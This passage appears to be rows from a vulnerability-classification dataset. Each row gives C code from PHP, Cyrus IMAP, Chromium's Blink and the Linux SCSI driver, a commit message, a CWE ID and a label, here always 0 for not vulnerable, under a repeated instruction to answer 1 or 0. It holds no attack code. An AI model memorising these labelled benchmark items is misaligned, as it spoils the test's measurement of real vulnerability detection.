zend_error(E_ERROR, "Cannot instantiate %s %s", what, class_type->name);
}
zend_update_class_constants(class_type TSRMLS_CC);
Z_TYPE_P(arg) = IS_OBJECT;
if (class_type->create_object == NULL) {
Z_OBJVAL_P(arg) = zend_objects_new(&object, class_type TSRMLS_CC);
if (properties) {
object->properties = properties;
object->properties_table = NULL;
} else {
object_properties_init(object, class_type);
}
} else {
Z_OBJVAL_P(arg) = class_type->create_object(class_type TSRMLS_CC);
}
return SUCCESS;
}
/* }}} */
Commit Message:
CWE ID: CWE-416 | 0 | 13,712 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: EXPORTED int mboxlist_createsync(const char *name, int mbtype,
const char *partition,
const char *userid, const struct auth_state *auth_state,
int options, unsigned uidvalidity,
modseq_t highestmodseq,
const char *acl, const char *uniqueid,
int local_only, struct mailbox **mboxptr)
{
return mboxlist_createmailbox_full(name, mbtype, partition,
1, userid, auth_state,
options, uidvalidity,
highestmodseq, acl, uniqueid,
local_only, 1, 0, mboxptr);
}
Commit Message: mboxlist: fix uninitialised memory use where pattern is "Other Users"
CWE ID: CWE-20 | 0 | 61,257 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ThreadHeap::CompleteSweep() {
static_assert(BlinkGC::kEagerSweepArenaIndex == 0,
"Eagerly swept arenas must be processed first.");
for (int i = 0; i < BlinkGC::kNumberOfArenas; i++)
arenas_[i]->CompleteSweep();
}
Commit Message: [oilpan] Fix GCInfoTable for multiple threads
Previously, grow and access from different threads could lead to a race
on the table backing; see bug.
- Rework the table to work on an existing reservation.
- Commit upon growing, avoiding any copies.
Drive-by: Fix over-allocation of table.
Bug: chromium:841280
Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43
Reviewed-on: https://chromium-review.googlesource.com/1061525
Commit-Queue: Michael Lippautz <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Cr-Commit-Position: refs/heads/master@{#560434}
CWE ID: CWE-362 | 0 | 153,650 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: sg_vma_fault(struct vm_fault *vmf)
{
struct vm_area_struct *vma = vmf->vma;
Sg_fd *sfp;
unsigned long offset, len, sa;
Sg_scatter_hold *rsv_schp;
int k, length;
if ((NULL == vma) || (!(sfp = (Sg_fd *) vma->vm_private_data)))
return VM_FAULT_SIGBUS;
rsv_schp = &sfp->reserve;
offset = vmf->pgoff << PAGE_SHIFT;
if (offset >= rsv_schp->bufflen)
return VM_FAULT_SIGBUS;
SCSI_LOG_TIMEOUT(3, sg_printk(KERN_INFO, sfp->parentdp,
"sg_vma_fault: offset=%lu, scatg=%d\n",
offset, rsv_schp->k_use_sg));
sa = vma->vm_start;
length = 1 << (PAGE_SHIFT + rsv_schp->page_order);
for (k = 0; k < rsv_schp->k_use_sg && sa < vma->vm_end; k++) {
len = vma->vm_end - sa;
len = (len < length) ? len : length;
if (offset < len) {
struct page *page = nth_page(rsv_schp->pages[k],
offset >> PAGE_SHIFT);
get_page(page); /* increment page count */
vmf->page = page;
return 0; /* success */
}
sa += len;
offset -= len;
}
return VM_FAULT_SIGBUS;
}
Commit Message: scsi: sg: fixup infoleak when using SG_GET_REQUEST_TABLE
When calling SG_GET_REQUEST_TABLE ioctl only a half-filled table is
returned; the remaining part will then contain stale kernel memory
information. This patch zeroes out the entire table to avoid this
issue.
Signed-off-by: Hannes Reinecke <[email protected]>
Reviewed-by: Bart Van Assche <[email protected]>
Reviewed-by: Christoph Hellwig <[email protected]>
Reviewed-by: Eric Dumazet <[email protected]>
Signed-off-by: Martin K. Petersen <[email protected]>
CWE ID: CWE-200 | 0 | 60,775 |
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